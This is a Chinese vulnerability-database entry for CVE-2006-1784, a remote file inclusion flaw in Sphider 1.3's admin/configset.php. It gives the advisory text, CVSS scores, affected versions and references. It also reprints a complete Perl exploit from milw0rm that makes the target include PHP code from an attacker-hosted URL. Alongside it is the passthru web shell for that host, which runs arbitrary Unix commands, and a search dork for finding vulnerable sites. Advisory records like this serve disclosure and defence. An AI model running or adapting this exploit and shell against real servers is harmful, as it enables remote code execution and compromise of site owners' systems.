CVE-2006-1784
CVSS5.1
发布时间 :2006-04-13 18:02:00
修订时间 :2011-03-07 21:34:06
NMCOE    

[原文]PHP remote file inclusion vulnerability in admin/configset.php in Sphider 1.3 and earlier, when register_globals is disabled, allows remote attackers to execute arbitrary PHP code via a URL in the settings_dir parameter.


[CNNVD]Sphider admin/configset.php 远程文件包含漏洞 (CNNVD-200604-216)

        当禁用register_globals时,Sphider 1.3及早期版本中的admin/configset.php中存在的PHP远程文件包含漏洞允许远程攻击者借助于settings_dir 参数中的URL执行任意PHP代码。

- CVSS (基础分值)

CVSS分值: 5.1 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:sphider:sphider:1.3
cpe:/a:sphider:sphider:1.3_rc2
cpe:/a:sphider:sphider:1.3_rc1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1784
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1784
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-216
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1341
(UNKNOWN)  VUPEN  ADV-2006-1341
http://www.securityfocus.com/bid/17514
(UNKNOWN)  BID  17514
http://secunia.com/advisories/19642
(VENDOR_ADVISORY)  SECUNIA  19642
http://milw0rm.com/exploits/1665
(UNKNOWN)  MILW0RM  1665
http://xforce.iss.net/xforce/xfdb/25780
(UNKNOWN)  XF  sphider-configset-file-inclusion(25780)

- 漏洞信息

Sphider admin/configset.php 远程文件包含漏洞
中危 输入验证
2006-04-13 00:00:00 2006-04-25 00:00:00
远程  
        当禁用register_globals时,Sphider 1.3及早期版本中的admin/configset.php中存在的PHP远程文件包含漏洞允许远程攻击者借助于settings_dir 参数中的URL执行任意PHP代码。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.sphider.eu/
        

- 漏洞信息 (1665)

Sphider <= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit (EDBID:1665)
php webapps
2006-04-12 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/perl
use IO::Socket;

print "\r\nSphider <= 1.3 arbitrary remote inclusion\r\n" ;
print "-> works with register_globals = On & allow_url_fopen = On\r\n";
print "by rgod rgod<AT>autistici<DOT>org\r\n";
print "site: http://retrogod.altervista.org\r\n";
print "\r\ndork: \"powered by sphider\"\r\n";

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 4)
{
print "\r\nUsage:\r\n";
print "perl sphider_xpl.pl server path location command\r\n\r\n";
print "server         - Server where sphider is installed.\r\n";
print "path           - Path to sphider (ex: /sphider/ or just /) \r\n";
print "location       - a site with the code to include (without ending slash)\r\n";
print "command        - a Unix command\r\n\r\n";
print "Example:\r\n";
print "perl sphider_xpl.pl localhost /sphider/ http://192.168.1.3 ls -la\r\n\r\n";
print "note: on http location you need this code in /conf.php/index.html :\r\n\r\n";
print "<?php\r\n";
print "ob_clean();\r\n";
print "if (get_magic_quotes_gpc())\r\n";
print "{\$_GET[\"cmd\"]=stripslashes(\$_GET[\"cmd\"]);}\r\n";
print "ini_set(\"max_execution_time\",0);\r\n";
print "echo 56789;\r\n";
print "passthru(\$_GET[\"cmd\"]);\r\n";
print "die;\r\n";
print "?>\r\n";
exit();
}
  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";
  print $sock "GET ".$path."admin/configset.php?cmd=".$cmd."&settings_dir=".$loc." HTTP/1.0\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Connection: Close\r\n\r\n";
  $out="";
  while ($answer = <$sock>) {
    $out.=$answer;
  }
  close($sock);
  @temp= split /56789/,$out,2;
  if ($#temp>0) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();}
  #if you are here...
  print "\r\nExploit failed...\r\n";

# milw0rm.com [2006-04-12]
		

- 漏洞信息

24586
Sphider admin/configset.php settings_dir Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-04-12 Unknow
2006-04-12 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站